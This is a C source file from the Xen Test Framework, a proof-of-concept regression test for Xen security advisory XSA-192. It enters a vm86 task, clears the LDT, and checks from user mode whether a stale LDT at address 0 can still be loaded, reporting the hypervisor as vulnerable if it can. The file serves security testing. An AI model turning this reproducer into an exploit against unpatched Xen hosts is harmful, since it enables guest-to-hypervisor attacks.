main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-192 PoC";

/* IDT handler to return from vm86 mode. */
void ret_from_vm86(void);
asm(".align 16;"
    "ret_from_vm86:"
    "mov $" STR(__USER_DS) ", %edx;"
    "mov %edx, %ds;"
    "mov %edx, %es;"
    "mov %edx, %fs;"
    "mov %edx, %gs;"
    "mov %dr0, %esp;"
    "jmp .Ltss_ret_point;"
    );

static const struct xtf_idte idte = {
    .addr = _u(ret_from_vm86),
    .cs   = __KERN_CS,
    .dpl  = 3,
};

/* Virtual 8068 task. */
env_tss vm86_tss __aligned(16) =
{
    .eflags = X86_EFLAGS_VM | X86_EFLAGS_IOPL | X86_EFLAGS_MBS,
    .eip    = 0x1000,
    .cs     = 0,
    .ss     = 0,

    .esp0   = _u(&boot_stack[2 * PAGE_SIZE]),
    .ss0    = __KERN_DS,
    .ldtr   = 0,

    .iopb   = X86_TSS_INVALID_IO_BITMAP,
};

unsigned long user_ldt_use(void)
{
    exinfo_t fault = 0;

    /* Try and use the possibly-loaded LDT at 0. */
#define LDTE    0
#define LDT_SEL ((LDTE << 3) | X86_SEL_LDT | 3)
    user_desc *ldt = _p(zeroptr);

    ldt[LDTE] = gdt[__USER_DS >> 3];
    barrier();

    /* Attempt to load %fs from the LDT. */
    asm volatile ("1: mov %[sel], %%fs; 2:"
                  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
                  : "+a" (fault)
                  : [sel] "r" (LDT_SEL),
                    [rec] "p" (ex_record_fault_eax));

    return fault;
}

void test_main(void)
{
    /* Hook ret_from_vm86(). */
    xtf_set_idte(X86_VEC_AVAIL, &idte);

    /* Create the vm86 TSS descriptor. */
    pack_tss_desc(&gdt[GDTE_AVAIL0], &vm86_tss);

    /* Copy a stub to somewhere vm86 can actually reach. */
    uint8_t insn_buf[] = { 0xcd, X86_VEC_AVAIL }; /* `int $X86_VEC_AVAIL` */
    memcpy(_p(vm86_tss.eip), insn_buf, ARRAY_SIZE(insn_buf));

    /*
     * Explicitly clobber the current LDT.  AMD leaks the LDT base/limit when
     * loading a NULL selector, so load an explicit one first to be certain.
     */
    if ( vendor_is_amd )
    {
        pack_ldt_desc(&gdt[GDTE_AVAIL1], 0, 0);
        lldt(GDTE_AVAIL1 << 3);
    }
    lldt(0);

    /*
     * Stash the stack in %dr0, and enter the vm86 task.  It should exit
     * immediately and jump back here.
     */
    asm volatile ("mov %%esp, %%dr0;"
                  "jmp $%c[vm86_tss_sel], $0;"
                  ".Ltss_ret_point:;"
                  :: [vm86_tss_sel] "i" (GDTE_AVAIL0 << 3));

    /* "Context switch" to userspace to try and use the erroneous LDT. */
    exinfo_t fault = exec_user(user_ldt_use);

    switch ( fault )
    {
    case EXINFO_SYM(GP, LDT_SEL & ~X86_SEL_RPL_MASK):
        xtf_success("Success: LDT not valid\n");
        break;

    case 0:
        xtf_failure("Failure: Leaked valid LDT at 0\n");
        break;

    default:
        xtf_error("Error: Unexpected fault %08x\n", fault);
        break;
    }
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */